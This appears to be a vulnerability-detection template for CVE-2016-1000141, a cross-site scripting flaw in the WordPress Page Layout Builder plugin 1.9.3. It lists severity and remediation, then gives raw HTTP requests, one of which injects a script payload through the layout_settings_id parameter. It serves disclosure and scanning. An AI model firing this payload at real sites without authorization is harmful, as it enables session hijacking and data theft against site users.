| Title | WordPress Page Layout builder v1.9.3 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to version 2.0 or higher. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06584 |
| CVE ID | CVE-2016-1000141 |
| CWE ID | CWE-79 |
| Tags | cve cve2016 wordpress xss wp-plugin page-layout-builder_project vuln |
WordPress plugin Page-layout-builder v1.9.3 contains a cross-site scripting vulnerability.
GET /wp-content/plugins/page-layout-builder/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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